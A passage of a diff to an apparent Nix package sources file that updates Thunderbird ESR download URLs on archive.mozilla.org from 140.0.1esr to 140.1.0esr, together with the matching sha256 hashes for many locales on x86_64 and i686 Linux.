+      sha256 = "468d1eb467665b84915ca3c57689abc9cd62cda51afc61a7ed4d63b28748da47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/lt/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/lt/thunderbird-140.1.0esr.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "b5399800a2963d2971ad6b2af9d6120c4360dd036bd615a8d9c6a49d6eb4287a";
+      sha256 = "87b5832b108358903736bfa0cfb013e295b72006c17b552590349261afc4565d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/lv/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/lv/thunderbird-140.1.0esr.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "0d52d2b6fc148acba6e539af0b0341567cfcae88759778674838a964bac65755";
+      sha256 = "14cf11465692c14239a0076752010b7ff54d302493f5bfef58920ad1cbbde6fa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ms/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ms/thunderbird-140.1.0esr.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "a6d87b019565474c1bae994ff194721d1e8c17edcf457b597480e0a8c499add0";
+      sha256 = "2b0721f403a74f8be55005d12d94285eaf91987ce5825226229d1b46d3253487";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nb-NO/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nb-NO/thunderbird-140.1.0esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "83e87a53ac6ffca086a900d019a5665e956e80488f46696d61f81d895a80172d";
+      sha256 = "ad58811895a5d76e06747c042f71c73985316be4461f21c72508b571281d0aae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nl/thunderbird-140.1.0esr.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "eac0552dc429559d307b10e5013adcf1f1d0d1d0d71a97f027feabe71d29d76e";
+      sha256 = "31dc88fdddd5c5d1e57eb4af966e3422dae1576dcc02c37ef8bff1c8537eef85";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/nn-NO/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/nn-NO/thunderbird-140.1.0esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "6b3ed73a3d497f50b3fdf7c3f9b7152b9714763946626bea650066fd53145804";
+      sha256 = "9f9a0c43cccd2deca4427202b65a950eb6e36d9023cad37db8aa6ab69c5bb0db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pa-IN/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pa-IN/thunderbird-140.1.0esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "0cd1f8377484fb87e63e73f449dd619d840b2cc7b0565e68b14603f6bda74131";
+      sha256 = "98c87b5a49884e4672b82b2ef8df347437dd73ff5c4f8b69a4449b34c0c79862";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pl/thunderbird-140.1.0esr.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "4931970272d598f0467ccfd3c657d69d10a001d24c0121dc499933adba3d803f";
+      sha256 = "aa6a633d3311ef1973a0150244ebc57bc6503e8ac7993aa351633d3af5f1b98d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pt-BR/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pt-BR/thunderbird-140.1.0esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "657d43ddbff163876149d16fd5bd5e0533f0d62a173b23a98b7460cdae97b43b";
+      sha256 = "67d348c101be5f0e94420f754e4461c9df7f01ac530363c80805cd5046cd5deb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/pt-PT/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/pt-PT/thunderbird-140.1.0esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "bf302b47797df158b7ca39ed1742449fbcfc11ad91142f4ffb6d6df07a1dcf00";
+      sha256 = "22e6c640ae2bc2b5051a0859160b2352a066b82cef47d1552581a526e26c134d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/rm/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/rm/thunderbird-140.1.0esr.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "983c2a44a00438316599d8b209a58d321203d85744b1988aeb291801f5b42cfe";
+      sha256 = "38336e796e173197c97d25ff9d929937ab7970a8b45fa69194354877b29bbef5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ro/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ro/thunderbird-140.1.0esr.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "da1382badfe2064384e5b2d510188821e75de8395ec01a3ddc59498337af4219";
+      sha256 = "58fb4e078e97b5a8429ba5fbc2b1d519d222acc45684688d0007225647a293b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/ru/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/ru/thunderbird-140.1.0esr.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "6bafdaf08f950c287abc3db13293066f9a3a5f98db8b4672b68d78ad672c4e48";
+      sha256 = "3c9a8de3c90f5c15d80a408d91dfa3cb32fb6cee4ba0361459322e75edcdab39";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sk/thunderbird-140.1.0esr.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "2b6c7d5eb509fe7e5612845fe2c45ee5d2ef1d2b08dc0480318745f8a1cf4ad8";
+      sha256 = "2a3e892f97bc8510c259dd321cfaf56278cffbbb2c0384708be4c39c1ffd3655";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sl/thunderbird-140.1.0esr.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "34f4ae90f269199af655b1b2a1952ae2f68daa42de3f2b25c4ab82f75ed4149c";
+      sha256 = "fe6924dcaa38c6c2c0d1cd15e7a5d1377cb84d0fc012a2f5287df293e1af082b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sq/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sq/thunderbird-140.1.0esr.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "13a4006da9be23a80dc5d6ec89557f2b020995f2ffc632f4b6e1c7f8dff45f23";
+      sha256 = "dcbdf0dc98cb36014af7aa6eed992a0f59aa675187aca18654087ec89af567bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sr/thunderbird-140.1.0esr.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "415878b0a7f4c2502fac2ece43d9d49337b503614e7d95e260bd959fd165bbec";
+      sha256 = "4c1fb26634504c25f90d9f7ef068fe24a6b45e74b71fc0f1ea286d76a9a6a237";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/sv-SE/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sv-SE/thunderbird-140.1.0esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "6fd2dab46a7b9714b7f0610e200998a7fd200ff4f001dcae730fd91d683da2e5";
+      sha256 = "bb5050a394dd02fdbf2ec66a81b0743df1fd222ff4d3739ac15783e55a253076";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/th/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/th/thunderbird-140.1.0esr.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "8569643967a75a6b1652d59a2123b51a01dd14f362d824b1729c2bb46c6ef016";
+      sha256 = "45ce34a41fd4c791d0908e5cbce8c40dbd0cf6afe91092afc6b1220da4e7a622";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/tr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/tr/thunderbird-140.1.0esr.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "a3b1b7c06217902d7db6564ae026aadf834cbb6c5c5fd05666db2bca31b2cc9c";
+      sha256 = "517376a8eb347f46122ed145fd3ea857f54848055777dad9fa1e0747086300c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/uk/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/uk/thunderbird-140.1.0esr.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "94c217a00eb176a590529b25acc57202dfe1062d8b2f265756848a14789ff76a";
+      sha256 = "ac4b3d55d37d372accc01ff898aeb9b63567c896ca26cf11ab3e6a606b4be502";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/uz/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/uz/thunderbird-140.1.0esr.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "9f09d983e072cccf4368fcf9211ad15c0fdffe3d90b80dca7ecd4548d5241c94";
+      sha256 = "c6dd141c2a3287c67d9a8d0291e229b0959c5d60fc2a1f364e27a4cca5b5e9e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/vi/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/vi/thunderbird-140.1.0esr.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "c9e71aec1ef7189742c6ea7de163ccdc000d67b5bbe9eb8e3154775b4516a283";
+      sha256 = "10c501d1f7c7b19419c93e96e1d16b979a716a413e95dc564f716d3a17e4e57c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/zh-CN/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/zh-CN/thunderbird-140.1.0esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "6a8e5d7a11bf0a590bbaa3ccfb4ca5fd05eb8d681a3bf954b3cac76d02ae30a6";
+      sha256 = "4c03277dffdb5fad1746a25084a1acd1c5598385b7637a814cbd50a451367a0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-x86_64/zh-TW/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/zh-TW/thunderbird-140.1.0esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "dd48a7ab83a0dac285d7bd3d5f933b14d5373957076d55d987562c05a05a6690";
+      sha256 = "4caa008fd9db5a8857235dec756b65e699cae7fab055891fb18815bae3208097";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/af/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/af/thunderbird-140.1.0esr.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "143e125ad9ed1ca18bba8fab8297164715117287681f2cd2ea1b6ce554af90a0";
+      sha256 = "5f4b14c25933ec409fb3d9572e014dac2684e5ca22453154906d51a3eae9c40c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ar/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ar/thunderbird-140.1.0esr.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "2d76124a2fe46ada9654195f4b2d496e7a26b703ed5fa5343bf85dc5942db033";
+      sha256 = "6b750f6fc7cfbbf1d31c9abba2eb6cf0e5dea5b453e00321ecdf2cbf37003580";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ast/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ast/thunderbird-140.1.0esr.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "dae431fb2da2f9cc4d7be363251c59475e3fb1701f0568fb84dd0241d1f41989";
+      sha256 = "0ece544cfd1ef3ed853292a301571617ef2713997f79ef4085fecfdfb3fcb574";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/be/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/be/thunderbird-140.1.0esr.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "110e8a26ab3f753684587afddd21edaef554fa4b7d72147f86ae185eeed37a17";
+      sha256 = "8445c73f54a103d9877e88bc6e84488519a2b8505e079c13f3b76debe68dce63";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/bg/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/bg/thunderbird-140.1.0esr.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "3e12c93255d5baa3fe27688fa6c0fd2dcf7995745be02ddf8a5c400b258e216e";
+      sha256 = "47761fd0d34f933752805e5cc9dc3f7442a3cce39935b286f5fcd0ecab843fad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/br/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/br/thunderbird-140.1.0esr.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "49c155f4c024df6481ee659e616a69754265ae1edc556ef1965d0de91f1e4443";
+      sha256 = "d020d8b0ab7d8c074ce039ed74ef99e9165019fd4133411c6cf3f265bcc307a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ca/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ca/thunderbird-140.1.0esr.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "8cf4c59c12310f50b99c8df1a2ee75f4de7d40e199432e6f072966d07e63367b";
+      sha256 = "7c180bb8e449d82a572c278e454ab7a1f5d46df2da2c24bffedd688b8bfeb1d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cak/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cak/thunderbird-140.1.0esr.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "b88442ccb6d83e76dca13a8c8cafa23fcd3a7e08d5ff22f10a455c4b3cca2e80";
+      sha256 = "c9b24186d006890348c41ede9d2dfce402ccbc2cb2ba5185a238fb59d1197c6b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cs/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cs/thunderbird-140.1.0esr.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "6a77983dc65c55f2b01a6ed2d748f98c62a7a65e0e084476718705a9e139c94a";
+      sha256 = "bbcca13731b5c39176703339b60085660bc16e282cff3741fbfa413f06cafc15";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/cy/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cy/thunderbird-140.1.0esr.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "5829ab3e5ea00e1e4a6e4eb99c48ce4aa1ba2ab57804ac0d3dab532c340ff5a3";
+      sha256 = "583351d8a8f03abc2d3fe3cac92f7ddf28c3fc5d718970361a168d223e46574a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/da/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/da/thunderbird-140.1.0esr.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "9d7a91f3571d90ac5117d449f6f423ef055034407607a2d44e51bc649c2f2bdc";
+      sha256 = "27952731923609b9572b57376dc8da178dcda0b79a40bae31602a17da34ae9ee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/de/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/de/thunderbird-140.1.0esr.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "c79adc6a1524a2fcfd0d98aafb6a7428be0be24418ea1a607f36756a040d1594";
+      sha256 = "1800c1ca5215096e32a7df7a24186658630a57b493e9a44e4f74bbadb40aaaae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/dsb/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/dsb/thunderbird-140.1.0esr.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "7696c03fd836ba11be4f0229f43d1400ca56e6b527bd522a89ac5638f9c16bb3";
+      sha256 = "eedd3e40313857803179ca96b748a533d7065cf259f9d124c780269a61629918";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/el/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/el/thunderbird-140.1.0esr.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "3c52933ceda31577743d01f2aaca2439ffc6662d0448f2d6945e0ce88aff5ee9";
+      sha256 = "84de3cd0f556c594ebe6e10dd899b366715f7000f9e73353c24514b70b35bd8e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-CA/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-CA/thunderbird-140.1.0esr.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "46fdc08166c617771130b51b82ccb231a23b5e962690c3a1ea91c42227269b4b";
+      sha256 = "92e186709974e6d8bdc60d0045c25cb2bd7bdaab3ccdcb3421c30fa2e26dfc16";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-GB/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-GB/thunderbird-140.1.0esr.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "192b445f7bd7188d931693a68dd21e39f27e57267f8b148ef8c2b5f88597b53d";
+      sha256 = "7d1d61600099a211b44a2fe4b7c3995ca5965a501b1ae3326b513dbc26595072";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/en-US/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-US/thunderbird-140.1.0esr.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "d7bdc8f114f7024cafc1a771afc21d90b14b446e9f79eebadaa647ca4d138088";
+      sha256 = "4623dcd577de6a7bf1c27d62511577a92fb385fff78d1b6e3b8833ff33cd76e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-AR/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-AR/thunderbird-140.1.0esr.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "3ad413761708129505305bb1f066c88725871202df0715dc882c8992829e7205";
+      sha256 = "850acfc9a555c1f2804e97da30f49ef0d9fa599cb105607576a9667f2b21e5ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-ES/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-ES/thunderbird-140.1.0esr.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "be4931a361054890dce062f72828a579d6021b0cac71bdd65cc02d3e53377b8b";
+      sha256 = "d7a020c404ac8410dd0e3232dd5b3e86678cffd6daf7f0426257450530b3e454";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/es-MX/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-MX/thunderbird-140.1.0esr.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "4d53d2eaec30078c36c38b7d623abb57110f574f2a094371d6bf0a3da5264d4a";
+      sha256 = "6061acc4ef2d31807b05c040a6fcc6ff7ee4163fe2b7f1c2b2c328ddddf7f49a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/et/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/et/thunderbird-140.1.0esr.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "b385f7934ec821251128ff699bc665b8db7736c8be9b59b2945ce52297748039";
+      sha256 = "7d89492e8a4163f5a2ed0af2076dfe8cfbb61a0d520c857852d6b2a16a4c5d63";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/eu/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/eu/thunderbird-140.1.0esr.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "908cb758760d5a1de57295846b2d31ef2dc6c5e1da9eea3ed1ee0c14fdb6908e";
+      sha256 = "a7d9a8587dbd66998640f4acf14ca68804007abc974beb6ce41f301e2a3a80bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fi/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fi/thunderbird-140.1.0esr.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "f6c4df7c3d51bedde4ad2cc78285459a1dd720f6d7fdeb1f27008e5fee2cfa0c";
+      sha256 = "b73eece96944a0a2f1b09ba60669e38228fe70a936052c4c1c65373a6348bdfc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fr/thunderbird-140.1.0esr.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "964513460ddd7931b633936e1c6f391b2c4abdedd631be4798ba78f20021fa8d";
+      sha256 = "c5fd675249401d7fff4edf40b96359fbac733ab27001932e1adbb67f386d77d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/fy-NL/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fy-NL/thunderbird-140.1.0esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "1b66630411b6f61df03ca4a798cdd685dff6555c9a18d4c804767308e20530a8";
+      sha256 = "3f3c6b9114b3c41a543a9314a1157adb796480dec492c3db6445d93ca4cd111e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/ga-IE/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ga-IE/thunderbird-140.1.0esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "0b4a6a69b9c523370295750836a9a28a27d285e60c08915dfe7bf9523c655a15";
+      sha256 = "f81b5f741586d19b9e501b26ec4f3a1e132a730d2368add86b25df10a152eabf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/gd/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/gd/thunderbird-140.1.0esr.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "1126f7ab5793e277395fdad38d13ae80dacff108c0fb69c4aefde63ffc75cd71";
+      sha256 = "330524b234f42f3828362a31e7daafd021cef7abe800e3c5a12829d7f91b22eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/gl/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/gl/thunderbird-140.1.0esr.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "cd032ca7c57c616a442f40595a7d77879a44929ab7dccca331b536215a896c3b";
+      sha256 = "2be9e30b796eba8a282abbd8cc94fc311f0a9d5501e7a30c6112ceccaaa67a58";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/he/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/he/thunderbird-140.1.0esr.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "3a17bece9f535d164af2c8da64df4291408b6e8a1ba31d8561ee3b559e43d148";
+      sha256 = "3c47ebe0dd8597b126215fd19b491cc9aa88287f8626832f0ce2fd7dcd65790f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hr/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hr/thunderbird-140.1.0esr.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "d4452b7da20056aa6d628464824ff33c4ce07ce2955475b8c23cdc10dca41e6c";
+      sha256 = "86d4e30f4079e7582bf14d01e83a91585095dd0b5fccd95e169a8496d720d8f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/linux-i686/hsb/thunderbird-140.0.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hsb/thunderbird-140.1.0esr.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
